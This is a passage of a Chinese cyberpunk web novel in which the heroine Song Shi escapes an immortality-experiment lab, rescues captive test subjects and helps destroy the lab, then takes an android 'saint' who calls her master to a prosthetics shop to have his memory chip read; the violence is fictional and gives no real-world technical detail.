付秋棠急忙出声,目光不敢过多在宋拾面前停留,生怕被人发现端倪,“这个实验体,是我用来做其它实验的。” 伽蓝看向她,并未出声,付秋棠接着道:“她的体质很特殊,再想找到差不多的实验体,恐怕要花上要一段时间。” 淡蓝色的眸子掠过宋拾,并未迟疑:“好。” 见伽蓝答应得爽快,宋拾悬着的心这才放下,但绷紧的手臂又不断提醒她危险并未离去。 伽蓝转头命人给霍尔注射圣水,冰晶般的眼眸不似真人,毫无情绪波澜。 霍尔金眸倒映着逼近的针孔,最终阖上双眼。 “咚咚。” 敲门声陡然响起,随后走进来一位神使,她垂目恭敬弯腰。 “圣子大人,安防系统遭到破坏,我们只能在影像里看到破坏者的背影,似乎是一位女性。” 安防系统被破坏可是件大事,特别是不清楚敌人来意时。 伽蓝行色匆匆地同众神使离开了,甚至没时间去嘱托,实验室瞬间空荡安静不少。 但对宋拾而言,最大的变化就是押她的人从神使换成了实验人员。 她看向同样被摁住的霍尔,道:“你从来没有放弃过抓我。”肯定的陈述句。 霍尔顿了顿,直言道:“是。” 宋拾讥诮笑出声:“真有意思啊,上校大人,久藤市多少饿死的穷人你们不管,哀涅托的人体实验你们也不管,怎么偏偏就死盯着我呢?” 霍尔沉默了。 懒得再去理会霍尔什么反应,宋拾将目光放在瑟缩成一团的人鱼身上。 人鱼赤红的双眼与她直勾勾对视,在她身旁还有其他实验体。 他们之中,也许有人就快要结婚了,也许有个高龄的父母需要赡养,他们的家人朋友也许还在苦苦等待。 不……甚至有人取代了他们。 但她不是救世主。 “老实点!” 被摁到实验台上,在手脚被束缚的那刻,宋拾不自觉绷紧身体,忍住想要踹飞他们的心思。 “别紧张,没事的。”付秋棠安慰道,针尖刺进宋拾的皮肤,“手术会成功的。” 宋拾看着她:“那他们……” 冰凉的液体被推进血管,付秋棠垂头贴在她耳边,轻声道:“抱歉……” 是啊……她们都不是救世主。 轻柔的声音渐渐飘远,困倦如潮水上涌,流进眼皮,流淌进全身。 呼吸逐渐趋于平稳,意识陷进一片黑暗中。 …… 宋拾重生了,重生在了货运车内,身边堆满了婪鲸矿石,如果没有霍尔就更好了。 她醒来第一件事,就是去掐死他。 手还未触碰到,霍尔纤长的睫毛翕动,一双金眸缩成锋利的针尖。 宋拾眉心一跳。 下一秒,天旋地转。 后背狠狠地撞在凹凸不平的婪鲸上,疼痛蔓延四肢百骸,还未来得及痛呼,一双冰冷的手攥上了她的脖颈。 霍尔眼神淬了冰般注视着她。 “你究竟是谁?” “什……什么?”宋拾大脑卡顿,停止运转。 霍尔的银发不安分地垂下,扼住她脖颈的手并未松弛,力道反倒愈发收紧。 他下了死手,宋拾挣扎着,蹬开大片的婪鲸石,突然之间,她在腰间摸到了什么。 一把枪。 不出意外是付秋棠放的,宋拾从来没有感觉自己那么爱付秋棠过。 耳边隐约出现耳鸣,她头脑有些发昏。 不管了,再这么下去她就要被掐死了。 她奋力地扣动扳机,朝着霍尔胸口开了一枪。付秋棠在细节上就是给力,还是消音–枪。 霍尔闷哼声,力道骤然松弛。 猛地推开他,宋拾大口灌气,又剧烈干呕了几下,肺部一阵火辣辣疼。 她撑着地面,逼迫自己站起身。 霍尔被射中心脏,也许是腺上素飙升,他全然不在意地任胸口淌血,浸红白色的衬衫。 宋拾抬枪,压低嗓音:“你刚才说的什么意思?” 霍尔像是被施了禁言咒,抿着唇一声不吭。 陡然,货运车猛地颠簸了下,宋拾险些一个趔趄摔倒,霍尔看准时机撞开她,脱出手的枪在空中像被无限放慢。 动作起伏过大,霍尔伤口的血咕咕往外冒,他咬着牙去抢枪。 宋拾哪会让他得手,指尖微动,枪便又飞回自己手中。 她一拳捶上他的腹部,伴随着一声隐忍的闷哼,霍尔的腰弓成虾米的弧度。 宋拾手钳住他的下颌,“最后一遍,你刚才说的话是什么意思?” 霍尔想笑,却又咳出血来,惨白的面庞上爬上了抹绯红。 “十岁的孩子,可不会杀人。” 宋拾手上的力道收紧。 他没有质疑她的身体,而且质疑身体里的灵魂。 她脸上的讥诮之意更浓,嗤笑: “那你为什么从来没有想过,一个孩子该怎么在久藤市里活下来?哦,我忘了,恐怕您从未去过久藤吧。在那里,不杀人的孩子,会被吃掉——物理意义上的。” “你体会过上一秒还对你微笑的朋友,下一秒就被那些大人抓住分食吗?你体会过东躲西藏逃命的生活吗?不,你没有,你还在这里否认我这个人。” 霍尔愣住,甚至没有再挣扎。 宋拾并非真想杀他,只是一条联邦的忠犬罢了,况且她的确需要他的帮助。 就像霍尔说的,她被全联邦通缉了,不管逃到哪都是徒劳。 于是她再接再厉,演技大爆发,眼眸又有些茫然,沁出的泪水一颗颗滴落。 “你说我不是十岁,可是我什至不知道十岁的孩子应该是什么样子的。” 她的话字字泣血。 要是霍尔再不动容,宋拾就决定动手了。 霍尔喉咙发紧,鲜血已经将衬衣染得通红,血液的极速流失导致他浑身冰凉,却仍忍不住垂下头,睫毛翕动。 “抱歉,我不知道……” “你不知道,你当然不知道!我以为我终于逃离了久藤,逃离了回溯,可是我没想到就连联邦也要杀我。”她哽咽起来。 霍尔薄唇微张,却发不出声,准确来说,他快要死了,如果不是宋拾另一只手撑着他的身体,他已经瘫倒了。 眼瞅着对方胸口的起伏愈发微弱,宋拾将他扶靠在石堆上,嘴里假情假意念叨着:“我从来没有想过杀人……” 也不知道霍尔听见没有,她的手悬在伤口上方,骨肉疯狂生长,肉芽交织最终愈合,刚长出的新肉透着嫩粉色。 她有些疲惫,双手交叠,脑袋抵在膝盖上。 希望霍尔醒来后别辜负她的一番表演。 终于,车停了。 随后车外响起一声抱怨:“是不是进了老鼠,怎么那么闹腾。” 宋拾瞬间清醒过来,她呼吸一滞,摸上腰间的枪,一双眼睛一眨也不眨,警惕地盯着货运车车门。 脚步声越来越近,像是走到车门口时,几声枪骤然响冲进她的耳膜,脚步声消失。 她非但没有松懈,身体崩得更紧了些,托着枪对准车舱门。 “咔嚓。” 门开了,刺眼的白光撒了进来,宋拾眨掉淌出生理性盐水,扣动扳机的手指微动。 但下秒,一道熟悉的声音硬生生止住了她的动作。 甜腻的,像是融化开的黏牙糖果。 “宋拾,好久不见,我好像……又救了你。” 纤细的少女逆着光,笑得甜蜜。 宋拾却愣住。 她是怎么认出她的? 第34章 “好久不见。” 贝莉娅弯起嘴角,吐出慵懒的、黏连含糊的调子。 红色眼眸闪烁了下,她手中的枪一转,对准昏迷不醒的霍尔。 “需要我帮你解决掉他吗?” 宋拾的眼微微睁大了些, 急忙道:“别!” 贝莉娅嘴角往下撇了下,但还是收起了枪。 走得近了些,她脸颊旁卷发随之摇曳,倾下身子,火红的瞳孔很是明亮,“真巧,没想到在这里碰见你。” 她伸出手, 朝向半蹲的女人。 “是挺巧的,我被哀涅托绑去做人体实验好不容易才逃出来。”宋拾将手搭上去起身,问道:“你怎么在这里?” “当然是为了你脚下的这些婪鲸啦,毕竟回溯每天都要要消耗大量的婪鲸。” 不知是不是错觉,贝莉娅似乎一直在盯着她的左眼,但很快,黑发红眸少女收回了目光,道: “绑你的应该是奥罗拉的永生实验。” 宋拾微微一愣,脑海里迅速检索到那名实验人员说的“永生实验室”。 “奥罗拉的永生实验?不是哀涅托吗?” 一想起奥罗拉,左眼还在隐隐作痛。 贝莉娅嗤笑出声,甜腻腻的笑容染上了某种讽刺的意味: “他们这些有钱老爷可比任何人都要惧怕死亡。人一旦有了金钱和权利,便会想着如何更长久地拥有它们——”她语调轻慢,舌尖打着旋。 宋拾没说话,静静等待下文。 贝莉娅放缓声音:“于是,他们找上了哀捏托。” 信息量过大,宋拾有些缓不过来,她蹙起眉毛:“所以, 这个实验的目的是研究永生?那圣水……” 少女红宝石般的眸子轻轻眨动了下,“所谓的圣水只不过是个幌子,需要实验小白鼠才是真的。” 永生,不管是在哪种时代背景下都是吸引人的香饽饽,权贵不惜任何代价,迫不及待地想要拥有。 那群信徒更是趋之若鹜,哪怕结果是爆体而亡,他们也寄托于那一丝微弱的希望。 宋拾的眉越皱越紧。 突然,一抹温软轻轻抚平她的眉心,她抬眸,只见贝莉娅缩回手指,问她:“怎么了?” 宋拾道:“我在实验室里看见了一块活肉,一块能提取圣水的活肉。” “抱歉,这我不太清楚。” 贝莉娅轻摇头,在宋拾的目光下,她转身走出了车厢,警惕地四处张望了下才道:“巡逻的人不知道什么时候来,我开车先带你离开这里吧。” 宋拾瞥了眼霍尔,他双眼紧闭脸色惨白,要不是胸口仍有起伏,她就要以为他已经死了。 走出车厢,脚下一个趔趄,低头,是司机的尸体,子弹正中眉心,死得不能再透了。 这里似乎是个巨大的仓库,机器人堆着大大小小的推车有条不紊地运作着,角落里的摄像头皆熄灯罢工,不出意外是贝莉娅的杰作。 墙壁上深红色灯亮着:奥罗拉集团。 宋拾沉吟片刻,还未出声,一道孩童哭腔骤然响起,同时一辆货运车也恰好停在了旁边。 不幸中的万幸,那辆车停在另外一边。即便如此,宋拾还是放轻了呼吸。 “哇——!!” 哭声并未随着车而停止,反倒愈发刺耳,尖锐响亮得像是锋刃,一点点刺进耳膜。 “妈的,该死的畜生!”外面的人骂了句,随着哗啦啦的水声,电流声响起,哭声终于停止了。 那孩子哽咽了下,不甚清楚道:“4077姐姐快要死了,你们救救她吧……” “做什么梦呢,给我老老实实待着!”司机似乎是一脚踹了上去,声音都有些喘。 4077? 裴羽流! 脚步突然朝着她们的车走近,“奇了怪了,这车的人呢?” 贝莉娅眼色一暗,握住枪的手正要举起时,宋拾却朝她轻轻摇了摇头,目光投向那具尸体。 司机刚走到拐角,一个同样身穿工作制服的男人突然拦在眼前,他面容憔悴胡子拉碴,目光阴郁地瞥了他一眼,“有事吗?” 瞅着对方深陷的眼窝,同为打工人的司机狠狠地共情了,拍了拍她的肩膀,又递了根烟上去。 “辛苦哇,哥们几天没睡了。” “忙了有三四天吧。”宋拾假模假样地接过烟,下巴抬了抬,“你运的啥货啊,怪闹腾的。” “还能是什么,淘汰下来的玩意呗,留给有钱老爷们拍卖着玩。”司机自己点了根烟吸上,依靠在车上,“这批货我觉得能卖不少,光那个人鱼,少说也得这个数。”说罢,他张开了五指。 “人鱼?” 宋拾眸色微暗,不动声色继续说道:“倒是个稀罕物。” 司机顿时来了兴致,朝她招手,“那可不!来来来,今天哥带你掌掌眼,这畜生模样还真极好。” “咣当”车门打开。 巨大的水缸,浸泡在污水里的人鱼面色惨白,双目紧闭。 “给上流人玩的玩意。”司机鼓囊一句,攥住人鱼纤细的脖颈,将她的头扯出水面,出水的人鱼淡紫的唇瓣微张,没了骨头般任人宰割。 “玩?” 宋拾眸色愈发幽深,染上了浓重的杀意。 司机笑得暧昧,粗糙的手指摩挲过人鱼的唇,“有钱人的娱乐嘛。” 但很快,他的笑容便永远地定格在了脸上,臃肿的身躯像是融化的猪油瘫在地面,没了生息。 宋拾惊愕地看向贝莉娅: 少女的枪口飘荡着一圈硝烟,她睫毛翕动,眼眸干净明亮,“我应该没杀早吧。” “没,谢谢。”宋拾摇头,极淡的蓝色光点从她身上散去,恢复原貌。 走向瑟缩的人鱼,俯下身体,放轻声音:“没事了……” 人鱼赤红的瞳孔骤然一缩,她唇瓣微张,喉咙里只能溢出些零碎的音节。 “怎么了?”宋拾发誓,她绝对用了此生最温柔的语气。 裴羽流僵硬地眨动眼睛,她像是生锈的老旧机器,良久后才缓慢地吐出破碎的话语:“逃……” 沙哑难听,她的声带被人破坏掉了。 宋拾握紧拳头。 人鱼一把攥住她的胳膊,抓着最后的希冀,费力地咬着断断续续的字音:“你,逃……快逃、逃离这里” “没事了。”宋拾安慰道,双手撑起她的身体,任凭扑腾起的水花溅湿衣服。 “车厢里还有三个实验体,两个已死亡。”简单查看完后,贝莉娅看向宋拾,“活下来的那个看起来才八九岁。” 话音刚落,阴影里探出一颗毛茸茸的脑袋,女孩睁着黑白分明的瞳孔,软糯问道:“姐姐你是来救诺诺的吗?” 诺诺。 贝莉娅正摩挲枪的手一顿,嘴角轻轻上扬,再一次露出她惯性甜腻的笑容:“是。” 宋拾目光掠过女童时一愣,熟悉的面孔,正是前几天和裴木清一起救下的女孩,没想到还是被抓到了这里。 小姑娘乍一看没什么问题,但在布料遮不住的皮肤上泛着绿莹莹的光,青绿色的鳞片像是寄生的藤壶般从手腕一直向里延伸。 “我打算搏一把,去炸了永生实验所。”宋拾蓦地开口,站起身,轻轻眨了下左眼。 炸实验所有两个原因,一是和奥罗拉有仇,宋拾这个人睚眦必报,只要结了梁子,她不把对方咬下一大块肉绝不会松口;二是她需要得到那块活肉,活肉显然是完成论坛任务的关键。机会难得,错过了这次,下次就不知道什么时候了。 或许还有一个原因……宋拾皱皱鼻子,胡乱地揉了揉诺诺的脑袋。 贝莉娅露出淡淡的微笑,红眸闪烁着细碎的光点,“我跟你一起。” 此时的贝莉娅仿佛头顶佛光,宋拾感动得热泪盈眶,一爪子揪住对方,“好姐妹,没想到我们感情那么深啊。” 贝莉娅低头看向皱巴巴的袖口:…… “咳咳……”一道沙哑的咳嗽声陡然插进来。 哟呵,醒得还挺快。 宋拾扬眉,抬眸望去。 霍尔脸色仍有些苍白,手臂抵靠在车上,不知是醒了多久。 他咳嗽了几下,浅淡的唇色才微微透了些粉出来,“有什么是我能帮你的吗?” “你要帮我?” 宋拾牵起唇角,笑得狡黠。 …… 永生研究所。 红色的警报灯不停闪烁,警报长鸣不止,刺耳又急促。来来回回的巡逻队仔细地不肯放过任何一个角落,打着探测灯扫过天花板。 躲在通风管道的宋拾大气不敢出,直到巡逻队远去,她才缓慢地爬动起来。 贝莉娅显然是有备而来,一开始带领着宋拾轻车熟路地避过安防系统,一路绿灯,但绿着绿着,人便不见了,宋拾被迫单独行动。 但在某种意义上,她还算幸运。 比如现在。 明亮的光透过通风窗打在宋拾面庞上,桌子上,四四方方的特殊材质玻璃盒里盛放着蠕动的肉块。 她还记得,付秋棠说过这个肉块叫“天使三十三号”。 不过…… 她的视线移到身穿白袍的圣子身上,伽蓝单手抵着额头,闭目休憩,屋内除了他没有别人。 宋拾小心翼翼地举起消音枪。 突然,她对上一双澄澈的蓝眸。 她眉心猛一跳,扣动扳机。 画面像是被抽帧放慢,子弹缓缓地飞出枪口,刺鼻的硝烟升腾起,一切都十分的顺利,子弹顺利地正中心脏。 太顺利了,顺利得像是有诈。 伽蓝瘫倒在地上。 意料中的血腥画面并未出现,胸口没有沥沥鲜血,只有“噼里啪啦”“滋啦”的白色电流。 电流? 宋拾瞳孔地震。 哀涅托的圣子居然是仿生人? ! 她破开通风窗跳了下去,警惕地举着枪走上前。 如瀑的丝发铺展开来,流光溢彩的金纱紧贴他脸颊,眉眼润泽,秾丽无俦的圣子胸口电流滋啦作响。 胸口的芯片被子弹击穿,这应该算是死亡吧? 她扭头去拿活肉,刹那,伽蓝蓦地睁开了眼睛,一把坐起身攥住她的裤腿,吓得宋拾心率飙升,急忙就要补枪。 “主人……” 高高在上的圣子仰面,看她的眼神脆弱又不安。 “什……什么??”宋拾僵住,大脑宕机,这是什么新型迷惑敌人的方式嘛。 伽蓝睫毛不安地颤抖,手指收紧,像是初次睁眼的雏鸟,下意识依恋第一个看见的人。 “松手。”雏鸟情结,宋拾可不吃这一套,黑黢黢的枪口对准滋啦作响的芯片,“你失忆了?” 他不解,“主人,我不理解你的意思。” 她拧眉,指了指桌上的天使三十三号,“那你认识它吗?” 他摇头。 宋拾很失望,失望地扣动扳机,顺便思考一个富有哲学意义的问题—— 仿生人死后会见赛博上帝吗? 伽蓝似是察觉到什么,虔诚垂首,展露着脆弱的脖颈,隐约可见的青色血管,逼真得接近真人。 “宋拾?” 贝莉娅的嗓音陡然响起。 宋拾扭头望去,瞳孔瞬间扩大,几乎失声,“贝莉娅你在干什么?” “抓个人而已。”贝莉娅持枪抵在被绷带封口的女人脑袋上,女人眼含热泪,呜咽地发出求助。 是的,抓个人而已,但凡她换个人抓宋拾也没那么大动静。 那是付秋棠啊!刚刚救完她狗命的女人! “你认识她?” “是的,她是我朋友。” 话音刚落,付秋棠脑袋上冰冷的枪口移开了。她崩溃地差点哭出来,明明这个小姐姐怎么看怎么纯良无害,结果掏枪的速度比她下跪求饶还快。 她甚至没来得及反抗,就被绑了。 纯良的贝莉娅甜甜一笑,“抱歉,我只是想请你朋友帮我妹妹看病。” 付秋棠:《请》。 宋拾惊诧,“她不是义肢协会主席吗?对不上专业吧。” 回答她的是付秋棠,她扯掉嘴上的绷带,清嗓子郑重自我介绍:“我除了是义肢协会主席,还是联邦医院的首席医师,作家、业余歌手……” 报完一长串身份后,她洋洋得意抬头。贝莉娅红宝石似的眼眸闪烁了下,笑容亲切:“我妹妹的病就拜托首席医师了。” “我、我尽量。” “那真是太感谢了。”贝莉娅的笑容也真诚了几分。 付秋棠不安的心脏缓缓平复,一切都是误会而已,宋拾的朋友就是她的朋友,更何况这个黑发红眼的女孩看起来不像是坏人。 什么?刚才她拿枪杵在她脑袋上? 那都是因为不熟!都是误会! 她还未安慰完自己,就听见这位眼尾下垂,看起来乖顺的女孩继续说道:“我们现在炸了这里吧。”“? ! ! “好。”宋拾点头,裤脚又被人扯了下,她视线落到伽蓝身上。 哦豁,差点把他给忘了。 “主人,我知道怎么炸掉这里。”伽蓝微笑,碧蓝的瞳孔里只倒映着她的脸。 他的脑袋依恋地抵着枪口,“交给我吧。” 胸口的电流紊乱地窜动。 第35章 漫天火光像夜空里的繁星,炸开朵朵绚丽的花,随即又是一声巨响,花瓣被揉碎成点点齑粉。 雷鸣暴雨纷沓而至, 奥罗拉集团的大楼轰然倒塌, 警报红光急促闪烁,警车长鸣由远及近。 宋拾伫立在雨幕下,湿透的黑发黏在苍白的面颊,仿佛周围的喧嚣都与她无关。 她目光落在同样被雨打湿的男人身上。 “一切如你所愿,没有一个实验体受伤。”霍尔语气平静,他轻轻呼出一口气, “通缉令我会撤回, 如果你想, 可以继续待在安防局里。” 他倏地抬头望向天空中的全息投影,“不早了,早点回去休息吧。” 继续待在安防局?等着他来抓吗?况且她现在还惹了哀涅托。 但这并不妨碍她的好心情,宋拾眉眼微弯, 语气难免轻快了几分, “谢了,上校先生。” “对了。”似乎想起什么,她笑容更加灿烂, “之前你给我安排的心理咨询师,是回溯的人。” 一想到Z老登会因为她被捕,宋拾就喜不自胜,神清气爽。 霍尔顿了顿,道:“知道了。” 长睫压住晦暗的情绪,他放轻了声音,“我……你究竟是谁?” “宋拾啊, 我不是宋拾难道是宋柒宋捌吗?” “……” 霍尔利落转身扬长而去,很快便被蜂拥而至的记者围堵住。 远处,霍尔金眸直视镜头,银发落在肩上,深邃的面庞带了些冷峻疏,他薄唇微动似乎说了什么,记者们不情不愿散出一条道。 眼角痉挛了下,他指腹轻轻摩挲过大腿,心中泛起一丝莫名的情绪;转头回望,那人早已隐匿进夜色中,不见身影。 暴雨还在下。 宙启的声音从天空飞行的机械光球里飘出: “注意甜雨,注意甜雨!请多科市市居民减少外出,居家等待雨停,出门时务必带上专用雨具。” 厚重的雨幕半分没有停歇的趋势,密密麻麻的雨水拍打在宋拾身上,直到一辆货车停下,溅起的水喷她一腿。 宋拾:“……” 车窗降下,贝莉娅:“上车,你打算去哪?” 宋拾张了张唇,轰隆一声巨响盖过声音,紫色的闪电打在脸上。 “好。”贝莉娅微笑。 车厢内,付秋棠蹲在角落里,一脸便秘;伽蓝则是乖顺地坐在宋拾身侧,手指试探性地攥住她的衣角。 车窗外闪烁的霓虹灯照进昏暗的车厢,路过的全息投影上挂着一张悬赏图: 女人黑漆的长发随意撇在脑后,露出消瘦的面孔,一副安分又老实的模样。 这是当时在安防局注册信息拍的照片。 宋拾视线落在那串长长的数字上,不由感慨,没想到自己居然那么值钱。 下一秒,悬赏照片被腹肌的男明星所取代。 悬赏令撤回了。 她敲了敲透明的瓶子,肉块顷刻间焦躁不安地蠕动起来。 “你……”付秋棠欲言又止,最终还是慢吞吞道,“你偷了天使三十三号就算了,为什么还要带上伽蓝?万一有诈——” “能有什么诈。”宋拾打了个哈欠,颇为疲惫地往后靠了靠,“他能图我什么?图我穷还是图我逃亡的生活?” 付秋棠沉默了,好像的确有几分道理,她捏着终端随意看了眼。 多科速报: “奥罗拉集团大楼爆炸”热搜下面紧跟着几条新闻。 她忍不住念出声,“大批失踪人口回归,竟然都是仿生人。” “医院风云结束,异种凶手落入法网。” “多科市安防局大队长顾念因渎职暂停职位。” 话音刚落,一只苍白的手一把夺过终端。 【 4033年4月7日晚,安防员白峥擅闯监狱,殴打狱警、枪击罪犯9533 ,队长顾念拒绝抓捕任务,并协助白峥畏罪潜逃,现已被停职调查】 【而新上任代理队长陶顺安将白峥击毙。 】 白峥……就这么死了? 宋拾的眉越蹙越紧,心中百感交集。 陶顺安是二五仔的证据,她早已发给顾念了,那陶顺安是怎么当上大队长? 猛然间,她想起顾念的话:“全联邦,足足有一半的人信仰哀涅托,也包括上面那些人,再加上其中的利益牵扯……” 上面那些人—— 这背后,难道有联邦的授意? ! 为什么? 宋拾感觉一场巨大的阴谋已经笼罩了下来,但却无可奈何,只能徒劳挣扎,沦为一粒微不足道尘埃。 不知道哪天她也会成为白峥。 不,不要,她攥紧手心。 下面是一条陶顺安受采访的视频,澎湃地讲述了自己的励志故事,并发誓绝不辜负联邦和公民的信任。 “哎,我见过她。”付秋棠突然开口,“哀涅托的人……”她的视线轻飘飘掠过伽蓝,又落回宋拾身上。 宋拾瞥了眼伽蓝,对方很是乖巧安静,没有任何异样。 “没事,你说。” 付秋棠这才慢吞吞开口说道:“待得比较久的同事说,她是尸体和异种的缝合体。” “所以她才有快速愈合伤口的能力?” “不,那是圣水的效果。她是永生计划里成功的实验体,但其实在她之前还有个成功的实验体,不过很可惜,最后还是死在了手术台上。” “成功的意思是……” “永生,不老不死。”付秋棠说。 宋拾小指痉挛了下,低声:“怪不得……” 怪不得顾念说一个死人怎么可能复活。 “那和她缝合的异种是什么?” 付秋棠回忆了一下,“是一朵能致幻、控制精神的花。” 不知是过了多久,车子遽然刹车,因为惯性,宋拾蹲麻的腿险些栽倒在婪鲸石上。 车门被拉开,贝莉娅笑吟吟看着她,“到了。” “谢谢,麻烦你了。”宋拾单手抱着用布包裹住的玻璃瓶,另一只手拉着伽蓝站起。 付秋棠目送两人的渐远的背影,总觉得少了点什么。 “少了什么呢?”她敲着脑壳,绞尽脑汁也没想出来。 少了终端。宋拾将终端揣进兜里,在心里默默道。 这里很荒凉,荒凉到漫天黄沙。 眼前只有一间破旧的小房子,半亮不亮的霓虹牌滋啦作响,挂着破损的风铃。 好有诚信义肢店。 既然是贝莉娅推荐的店铺,那就说明还是比较可靠的。 伽蓝安静地站在一旁,手指仍悄悄扯着她的衣角,侧着脑袋长久地注视她,眼眸澄澈明亮。 在这种注视下,宋拾难得打算礼貌一把,来个文明示范。 于是,她礼貌地一脚踹开了门,温和地举起了手中的枪,抵在店主的脑门上,笑容很是友善:“你好。” “欢迎光临。”店主温和微笑,竟一点也不在意怼来的枪口。 嗯?眼熟? “是你?” 垃圾场的义肢店老板。 老板露出惊讶的神情:“我们认识吗?” “不认识,麻烦你帮我读取一下芯片信息。”宋拾抬了抬下颌,“他的。” 要弄清楚天使三十三号到底是个什么东西,伽蓝身为圣子,肯定知道不少。 找人来读取芯片信息显然是最快最便捷的方法。 “乐意为您效劳,不过您会付钱的,对吗?”老板的表情很诚恳。 宋拾笑而不语,持枪对着他。 老板叹气,往操作台上走,指了下实验台,“你让他躺这里就好。” “主人。”伽蓝不解地歪了歪脑袋,但还是弯起眼眸,淡蓝的眸子亮晶晶。 宋拾抬头正要将他往实验台上带时,伽蓝乖顺地垂首,亲昵蹭蹭她的手掌。 “主人不管做什么,伽蓝都会答应。” 湿润的唇瓣落在她的掌心,泛着痒意,激起宋拾一身鸡皮疙瘩,猛地缩回了手。 他走到实验台上躺下,那双亮晶晶的眼眸轻轻地阖上了。 “开始吧。” 面对着黑漆漆的枪口,店主操控起机器,利落麻溜地取出了芯片。 伽蓝双手交叠在小腹位置,心脏位置已然空荡荡。 “咣当!”一声,本就不堪重负的大门正式寿终正寝,飞起的尘土黄蒙蒙一片。 一群半机械化的家伙围堵住门口,为首的举着枪对准老板,“终于找到你了。” 大概是习惯了,店主心中毫无波澜,甚至还有闲心想着下次该搬到哪里。 他们的目光自然地落到了伽蓝身上,顿时眼前一亮,贪婪地咧嘴笑:“哟呵,仿生人?能卖不少星币呢!劝你不要反抗,不然损失只会更大。” “不就得坑了你们一点钱嘛,至于满世界追着我抢嘛。”老板缓缓叹了一口气,又带着歉意地看向宋拾,“客人您要不要先逃命?” 看着眼前的一群……宋拾心里也没底,她咬了咬呀,问:“要多久?” “两分钟啊不,一分钟!”老板眼里亮起光,希冀地看着她,“您可以打跑他们吗?” “……打不跑,但我可以试试打死。” 她吐出口气,将怀中的三十三号放置好,一边举枪开了三枪。 弹无虚发,前面三人脑门顿时血流如注,瘫软倒地,没了气息。 后面的人脸上刹那间展示了变脸,不可置信、羞怒、恼怒、愤怒试色似地依次在脸上浮现,简直精彩绝伦。 “他妈的!给脸不要脸!” 他们暴起开枪射击,但子弹却通通如数还回去,穿透他们的身体,鲜血将黄土染得通红。 宋拾低估了人数,她还未松口气,宽如墙的男人堵到了面前,挥拳砸向她的脸。 她面上冷然,侧身躲过,对方拳头噼里啪啦砸倒大片的零碎东西。 老板满脸肉疼,心脏在抽搐:“我的宝贝们!” “读你的信息!”宋拾调整呼吸,乘机跃起,铆足气力掰断对方的脖颈。 “好的,客人您加油!” 随着信息的读取,他脸色开始出现了变化。 “好了,客人您看。”他面带微笑,将屏幕对准宋拾能看见的位置。 宋拾一边躲过攻击,一边见缝插针偏头看去。 屏幕上只有伽蓝被子弹击中醒来后零散的记忆画面,再往前就是一片空白,无法追溯。 老板道:“芯片受损,信息难免会缺失的。” “没别的办法了吗?”宋拾脸上看不出神色,开枪打死想要偷袭的人。 “真没办法了……我给您装回去。”他埋头伏案,再度操纵机器,小心翼翼调整芯片位置。 “不用了。”宋拾突然道。 老板有些愕然,“虽然记忆信息损坏了,但他其他功能……” “留给你了。”她一脚踩在最后一个人的脖颈上,微微用力,咔嚓一声,对方再无挣扎。 “哈,客人您真大方!”老板笑得眼睛眯起,像只狡黠的狐狸。 仔细地将芯片安装回原本的位置,余光中,一个“尸体”却摇摇晃晃起身,捡起了地上的枪。 “客人小心!” 老板话音刚落,一道闪电似的影子闪过,带起一阵风。 宋拾转身,惊愕地看着眼前的男人;伽蓝手上染着鲜血,眸子亮得惊人,他力道微微松弛,那尸体瘫地。 他用干净的手握住宋拾的手,将其贴在胸口处,眼眸溢出泪珠,滴在宋拾虎口上。 “主人,你不要抛弃我,好不好……” 宋拾瞪大眼珠,看着手上的泪珠。 他爹的好生神奇!开眼了开眼了!仿生人居然还会流眼泪? ! 她还未惊叹完,指尖上的电流电得她猛地缩回了手。 “兄弟,你漏电了。” “第一次见认主的仿生人。”老板若有所思,“客人您可以再等等,芯片会自我修复。” “那些损坏的记忆会恢复?” “是的。” 得到满意的答案,宋拾看向伽蓝,深邃精致的五官轮廓,绸缎似的蓝色长发,每一寸都过分得完美。 他浅浅微笑任由她打量。 良久,她才道:“老板,有改变外貌的东西吗?比如染发剂之类的。” “当然,我的客人!”老板顷刻动身翻库存,突然扭头问道,“但是,您会付款的对吗?” 宋拾眨了眨眼,“但是我帮你处理了你的仇家,对吗?” 老板:“……” …… 送走两位客人不久,老板坐在案台,对着面前的人,浅浅微笑。 “客人您需要什么?” 银色长袍,覆面面具。 神使漠然地跨过地上的尸体,掏出终端,“有没有见过这个人。” 终端上的女人,亚洲模样,短发,身形单薄消瘦。 “啊,是她呀!” “有点印象,又好像没有。”老板犯难地敲敲脑袋,“不如客人您先支付五百万星币,说不定我就想起来了呢。” 神使眼神骤然冰冷,枪口抵上他的额头,“我劝你不要耍小心思。” 老板的笑容也冰凉起来,狭长的眸子微微眯起:“我讨厌别人拿枪指着我哦。” 第36章 屋内。 霍尔跪在地上,上半身赤.裸,结实的肌肉上爬满狰狞的鞭痕,艳红的血液从伤口里渗出,就连脸上也未能幸免,下颌处结结实实挨了一道鞭子。 “为什么不杀了她!”安德烈攥紧鞭子,恨铁不成钢地指着他,扬起长鞭狠狠抽去。 霍尔闷哼一声,对上安德烈的目光,“父亲,您教导我做人要明辨是非, 我只不过在履行您的教诲。” “你!你!” 老安德烈气得剧烈咳嗽几声, 怒斥, “那难道我没有教过你联邦利益至上吗?!056号是谁的克隆体你清楚,放任她在联邦里,迟早要出大乱子!让你杀她,都是为了联邦, 为了安宁!” “又或者, 你想让那位知道联邦在搞她的克隆体?!” 霍尔手中力道收紧,沉声道:“我知道了。” 安德烈白花花的胡子颤抖着,缓了一会后恢复平静,他丢下鞭子: “那位也快来了,务必确保会议顺利举行,这次一定要将回溯剿灭干净,卧底抓住了吗?” “已经派人去了。” “温妮莎也会来,你们兄妹二人有几年没见过面了吧。”他背着手站在窗前,面露疲倦。 霍尔站起身,落地镜中, 他宽阔的脊背伤痕累累。他目光中微露讥讽,“六年。” “居然有六年没见了。”安德烈一时感慨,话锋却突地一转,“你说……哀涅托在搞人体实验?” “是的,父亲,我会处理好——” 安德烈深叹一口气,“不要管。” 霍尔猛然看向他,“父亲,放任他们,只会让更多人遭殃!” 安德烈浑浊的眼睛眯起,意味深长道:“孩子,我是为你好,哀涅托如今的猖狂,你怎么知道没有人授意呢?” “联邦,早已成了一颗蛀空的苹果。” 老者缓缓吐出一口气。 “知道了。” 霍尔长睫盖住眼中的暴戾,黑色的衬衫遮住身上触目惊心的伤痕,修长的手指缓缓扣好纽扣。 和平、安定、职责……多么讽刺啊。 “听人说,你把药给停了?”安德烈淡淡问道。 “嗯。” “想开就好……它只是一个工具,不要有那么多心理负担。” 老者说完,用力咳了起来,脸涨成猪肝色,几乎要把肺咳出来,他却始终没有回头。 